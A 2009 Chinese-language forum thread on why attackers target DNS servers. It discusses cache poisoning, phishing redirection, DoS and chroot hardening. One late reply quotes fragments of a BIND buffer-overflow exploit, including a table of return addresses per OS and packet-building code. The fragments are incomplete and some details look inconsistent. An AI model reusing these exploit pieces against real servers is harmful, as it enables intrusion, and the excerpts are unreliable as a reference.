作者 主題: DNS Server 通常的攻擊手法  (閱讀 17089 次)

0 會員 與 1 訪客 正在閱讀本文。

deanspp

  • 可愛的小學生
  • *
  • 文章數: 13
  • 認真但不要逼死自己
    • 檢視個人資料
DNS Server 通常的攻擊手法
« 於: 2009-05-13 14:07 »
Dear All

通常駭客喜歡上Dns Server 的原因是什麼?

因為它比較好攻陷嗎?

通常的攻擊手法有哪些呢?

感謝各位大大分享經驗
苦力!要一輩子當苦力嗎/

slime

  • 俺是博士!
  • *****
  • 文章數: 1692
    • 檢視個人資料
回覆: DNS Server 通常的攻擊手法
« 回覆 #1 於: 2009-05-13 16:56 »
通常駭客喜歡上Dns Server 的原因是什麼?

a. 透過命名習慣, 比較容易知道重要的主機在哪.

b. 可以把 DNS 記錄轉向到惡意主機.

冷笑話: 我的 IP 是 127.0.0.1

netman

  • 管理員
  • 俺是博士!
  • *****
  • 文章數: 17484
    • 檢視個人資料
    • http://www.study-area.org
回覆: DNS Server 通常的攻擊手法
« 回覆 #2 於: 2009-05-13 18:19 »
舉個例子就知道它的可怕:

如果你是駭客,有本事將中華電信的 dns 里面的 record 作修改的話。
你可把所有使用這個 dns 的用戶導到任何你想要的主機去。
比方有人要上 Y 拍、或是銀行、證券... 那你就將 IP 修改為你精心設計的釣魚網站去。

TWASA

  • 活潑的大學生
  • ***
  • 文章數: 269
  • 性別: 男
    • 檢視個人資料
回覆: DNS Server 通常的攻擊手法
« 回覆 #3 於: 2009-05-14 00:23 »
dns server有漏洞當然如上述所說最主要就是引導你到假的網站,,竊取用戶輸入的各種資訊,查詢DNS pollution 應該有資料
所以要有概念就是請用https,銀行、證券應該會有沒有的話應該沒人敢用,要符合X.509標準
所以也請注意不要沒看一路按確定,凡是跳出CN名稱不符合、憑證不可信任與過期等就要注意了。
« 上次編輯: 2009-05-14 00:25 由 TWASA »

dark

  • 俺是博士!
  • *****
  • 文章數: 1581
    • 檢視個人資料
回覆: DNS Server 通常的攻擊手法
« 回覆 #4 於: 2009-05-14 01:06 »
通常駭客喜歡上Dns Server 的原因是什麼?
這句話有點籠統 ...
歷史上 dns server 的問題不算多喔 ...
最大一次(忘了是什麼關鍵字了)是 dns VS dns 之間溝通的問題
應該算協定本身上的缺失吧

DNS server 的腳色應該能想像成單純靜態的 html web server 一樣
只輸出一定的資訊,並無資料交換 (ns server) ... primary VS secondary 資料應在 lan

所以上面幾篇應該說是 "利用 DNS 協定" 做案較合理
這屬於 -- 使用者自己不小心

而站在 server 的角度
攻擊應屬於 Dos DDos 居多了 ... 這只能前端做掉法了

而一般常被忽略掉的是 ..
多工 DNS server --- 最常見的是 mail + dns
多個 port 多份危機 ,造成 DNS DEAMON 受害

primary + secondary = 1 台
分開是必要的,且 users access 的應該要是 secondary

除此 .. 從 internet 上威脅到 DNS server 就不算多了

不知觀點是否有誤,還請指教

netman

  • 管理員
  • 俺是博士!
  • *****
  • 文章數: 17484
    • 檢視個人資料
    • http://www.study-area.org
回覆: DNS Server 通常的攻擊手法
« 回覆 #5 於: 2009-05-14 01:08 »
沒錯,使用電子憑證是對付釣魚及中間人的最好方法。
但可惜的是,很多人對憑證的應用還很陌生,
就算彈出憑證對話框,十有八九也只是增加幾下OK的點擊而已...

netman

  • 管理員
  • 俺是博士!
  • *****
  • 文章數: 17484
    • 檢視個人資料
    • http://www.study-area.org
回覆: DNS Server 通常的攻擊手法
« 回覆 #6 於: 2009-05-14 01:21 »
目前的 dns server 軟體大都是 BIND 那一套。
記得比較嚴重的漏洞是一個 Lion worm 的攻擊(印象是公元 2000/2001 的事情),
專門針對 linux 上的 bind8 實作,可以讓入侵者取得 root 的權限。
自那次開始,大家對 chroot 囚牢的設計也有了比較普遍的認識。

至於 DOS 攻繫,本身對 dns 服務的衝擊不是重點,
而是在攻繫發動之後所帶來的進一步影響。
比方造成系統 loading 過重而又拉長某些服務的反應時間,
有機會注入 buffer overload 等程式碼并取得足夠的發作條件。
或是將某一 IP 打跨并冒用該 IP 來提供偽服務等等...

以上只是個人猜想的可能性,實際的操作并無經驗。

蜜蜂

  • 活潑的大學生
  • ***
  • 文章數: 277
  • 性別: 男
    • 檢視個人資料
回覆: DNS Server 通常的攻擊手法
« 回覆 #7 於: 2009-05-14 10:49 »
常見的攻擊之一: DoS + Cache Poison

DoS 把真的 DNS server 打掛, 並且用 Cache Poison 攻擊污染各大 ISP 的 DNS cache server, 這樣真正的 DNS record 就被綁架了.

目的就是要將使用者導引至惡意網站。

deanspp

  • 可愛的小學生
  • *
  • 文章數: 13
  • 認真但不要逼死自己
    • 檢視個人資料
回覆: DNS Server 通常的攻擊手法
« 回覆 #8 於: 2009-05-22 15:56 »
話說上次某局來指導

安裝了測路工具

要揪出駭客

我有請教他們

他們說為了避免長受攻擊

請不定時重裝系統或是將dns 委外

真的是這樣嗎?
苦力!要一輩子當苦力嗎/

dandy

  • 懷疑的國中生
  • **
  • 文章數: 76
    • 檢視個人資料
    • http://11way.com/joom 失憶小站--失憶防止記錄器
回覆: DNS Server 通常的攻擊手法
« 回覆 #9 於: 2009-09-14 17:26 »
目前的 dns server 軟體大都是 BIND 那一套。
記得比較嚴重的漏洞是一個 Lion worm 的攻擊(印象是公元 2000/2001 的事情),
專門針對 linux 上的 bind8 實作,可以讓入侵者取得 root 的權限。
自那次開始,大家對 chroot 囚牢的設計也有了比較普遍的認識。

至於 DOS 攻繫,本身對 dns 服務的衝擊不是重點,
而是在攻繫發動之後所帶來的進一步影響。
比方造成系統 loading 過重而又拉長某些服務的反應時間,
有機會注入 buffer overload 等程式碼并取得足夠的發作條件。
或是將某一 IP 打跨并冒用該 IP 來提供偽服務等等...

以上只是個人猜想的可能性,實際的操作并無經驗。

沒錯,以上推斷完全正確,基本上Lion的source來自teso,ADM等group,其exploit早在幾個月前就流出,
Lion作者做了一些自動化的改良而演變成worm,teso的source也很又意思,其基本作法就是利用超過1024的buffer overflow
來folk出shell code,而那時的bind並沒有chroot,所以folk出的shell code可以做任何事.

set_ptr(char *buff, int offset, unsigned long val, int s)
{
        char            copy_buff[1024];
        int             revval;
        memcpy(copy_buff, buff, 1024);
        revval = buff[SHELL_OFFSET_1];
        /* increment record usage count */
        revval += BIND_OFF_01;
        if (s)
                if (!fork())
                        /* simply copy value to offset */
                        memcpy(&copy_buff[offset], &val, sizeof(val));
        memcpy(buff, copy_buff, sizeof(copy_buff));
        return 0;
}

當時除了linux外,被點名的還有BSD,理論上,能夠找出overflow code的,就無法擋,而計算這個hex是不會太難的,所以
後來bind就開始採用chroot設計,即使取得root也只能在chroot內運作,不致整台被抱走...
        {
                "Linux RedHat 6.0", "9.2.x", 0xbfff0508, 104, linux_shellcode
        },
        {
                "Linux RedHat 6.2", "9.2.x", 0xbfff0a04, 80, linux_shellcode
        },
        {
                "Linux RedHat 7.2", "9.2.x", 0xbfff040a, 84, linux_shellcode
        },
        {
                "Linux Slackware 8.0", "9.2.x", 0xbfffe123, 20, linux_shellcode
        },
        {
                "Linux Debian (all)", "9.2.x", 0xbfffd0aa, 110, linux_shellcode
        },
        {
                "FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode
        },
        {
                "FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode
        },
        {
                "FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode
        },
基本上,搭配DoS的攻擊效能據測試會比單用來得容易溢出,這就是所謂的race condition,
簡單來說,就是當主機太忙來不及處理,buffer overflow到偽造的point,就可以指向事先encode的offset.
        /*
         * now build packet
         * set pointer to itself. dont modify BIND_OFF_02, it was
         * bruteforced.. and worked with every bind i sploited.
         */
        set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
        /* setup tsig info */
        set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);
        /* count of records */
        if (i > (SHELL_OFFSET_2 - 10)) {
                set_ptr(shellcode, BIND_OFF_03, i, 0);
        } else {
                i += (SHELL_OFFSET_2 / 2);
                i -= (SHELL_OFFSET_2 % 2);      /* thnx enr1qe! :) */
                set_ptr(shellcode, BIND_OFF_03, i, 0);
        }
        /* store return ADDR !! */
        set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].otebp), 0);

至於將dns主機拖垮來偽造dns service的作法可行性應該不高,這種作法叫做Pharming,最常見的技巧是cache poison,利用cache轉嫁dns,
印象中2007年發生過一次MSN設定錯誤dns被轉嫁過一次,利用DoS的可行性遠比其他做法的成功率要來得低
http://11way.com/joom 失憶小站--失憶防止記錄器